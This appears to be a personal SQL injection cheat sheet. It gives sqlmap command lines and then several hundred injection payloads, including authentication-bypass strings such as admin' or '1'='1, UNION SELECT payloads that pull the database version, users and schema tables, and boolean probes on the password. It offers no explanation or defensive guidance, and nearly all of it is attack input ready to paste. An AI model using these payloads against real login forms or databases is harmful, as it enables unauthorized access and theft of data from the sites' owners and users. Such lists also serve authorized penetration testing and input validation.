**sql injection**

1. sqlmap

sqlmap --wizard

sqlmap-u "http://the url u want to inject with the id " --batch

example: sqlmap-u "http://192.168.0.0/room.php?cod=1" –batch

<username>' OR 1=1--

'OR '' = ' Allows authentication without a valid username.

<username>'--

' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--

'OR 1=1--

'-'

' '

'&'

'^'

'\*'

' or ''-'

' or '' '

' or ''&'

' or ''^'

' or ''\*'

"-"

" "

"&"

"^"

"\*"

" or ""-"

" or "" "

" or ""&"

" or ""^"

" or ""\*"

or true--

" or true--

' or true--

") or true--

') or true--

' or 'x'='x

') or ('x')=('x

')) or (('x'))=(('x

" or "x"="x

") or ("x")=("x

")) or (("x"))=(("x

or 1=1

or 1=1--

or 1=1#

or 1=1/\*

admin' --

admin' #

admin'/\*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/\*

admin'or 1=1 or ''='

admin' or 1=1

admin' or 1=1--

admin' or 1=1#

admin' or 1=1/\*

admin') or ('1'='1

admin') or ('1'='1'--

admin') or ('1'='1'#

admin') or ('1'='1'/\*

admin') or '1'='1

admin') or '1'='1'--

admin') or '1'='1'#

admin') or '1'='1'/\*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

admin" --

admin" #

admin"/\*

admin" or "1"="1

admin" or "1"="1"--

admin" or "1"="1"#

admin" or "1"="1"/\*

admin"or 1=1 or ""="

admin" or 1=1

admin" or 1=1--

admin" or 1=1#

admin" or 1=1/\*

admin") or ("1"="1

admin") or ("1"="1"--

admin") or ("1"="1"#

admin") or ("1"="1"/\*

admin") or "1"="1

admin") or "1"="1"--

admin") or "1"="1"#

admin") or "1"="1"/\*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

==

=

'

' --

' #

' –

'--

'/\*

'#

" --

" #

"/\*

' and 1='1

' and a='a

or 1=1

or true

' or ''='

" or ""="

1′) and '1′='1–

' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055

" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055

and 1=1

and 1=1–

' and 'one'='one

' and 'one'='one–

' group by password having 1=1--

' group by userid having 1=1--

' group by username having 1=1--

like '%'

or 0=0 --

or 0=0 #

or 0=0 –

' or 0=0 #

' or 0=0 --

' or 0=0 #

' or 0=0 –

" or 0=0 --

" or 0=0 #

" or 0=0 –

%' or '0'='0

or 1=1

or 1=1--

or 1=1/\*

or 1=1#

or 1=1–

' or 1=1--

' or '1'='1

' or '1'='1'--

' or '1'='1'/\*

' or '1'='1'#

' or '1′='1

' or 1=1

' or 1=1 --

' or 1=1 –

' or 1=1--

' or 1=1;#

' or 1=1/\*

' or 1=1#

' or 1=1–

') or '1'='1

') or '1'='1--

') or '1'='1'--

') or '1'='1'/\*

') or '1'='1'#

') or ('1'='1

') or ('1'='1--

') or ('1'='1'--

') or ('1'='1'/\*

') or ('1'='1'#

'or'1=1

'or'1=1′

" or "1"="1

" or "1"="1"--

" or "1"="1"/\*

" or "1"="1"#

" or 1=1

" or 1=1 --

" or 1=1 –

" or 1=1--

" or 1=1/\*

" or 1=1#

" or 1=1–

") or "1"="1

") or "1"="1"--

") or "1"="1"/\*

") or "1"="1"#

") or ("1"="1

") or ("1"="1"--

") or ("1"="1"/\*

") or ("1"="1"#

) or '1′='1–

) or ('1′='1–

' or 1=1 LIMIT 1;#

'or 1=1 or ''='

"or 1=1 or ""="

' or 'a'='a

' or a=a--

' or a=a–

') or ('a'='a

" or "a"="a

") or ("a"="a

') or ('a'='a and hi") or ("a"="a

' or 'one'='one

' or 'one'='one–

' or uid like '%

' or uname like '%

' or userid like '%

' or user like '%

' or username like '%

' or 'x'='x

') or ('x'='x

" or "x"="x

' OR 'x'='x'#;

'=' 'or' and '=' 'or'

' UNION ALL SELECT 1, @@version;#

' UNION ALL SELECT system\_user(),user();#

' UNION select table\_schema,table\_name FROM information\_Schema.tables;#

admin' and substring(password/text(),1,1)='7

' and substring(password/text(),1,1)='7

' or 1=1 limit 1 -- -+

'="or'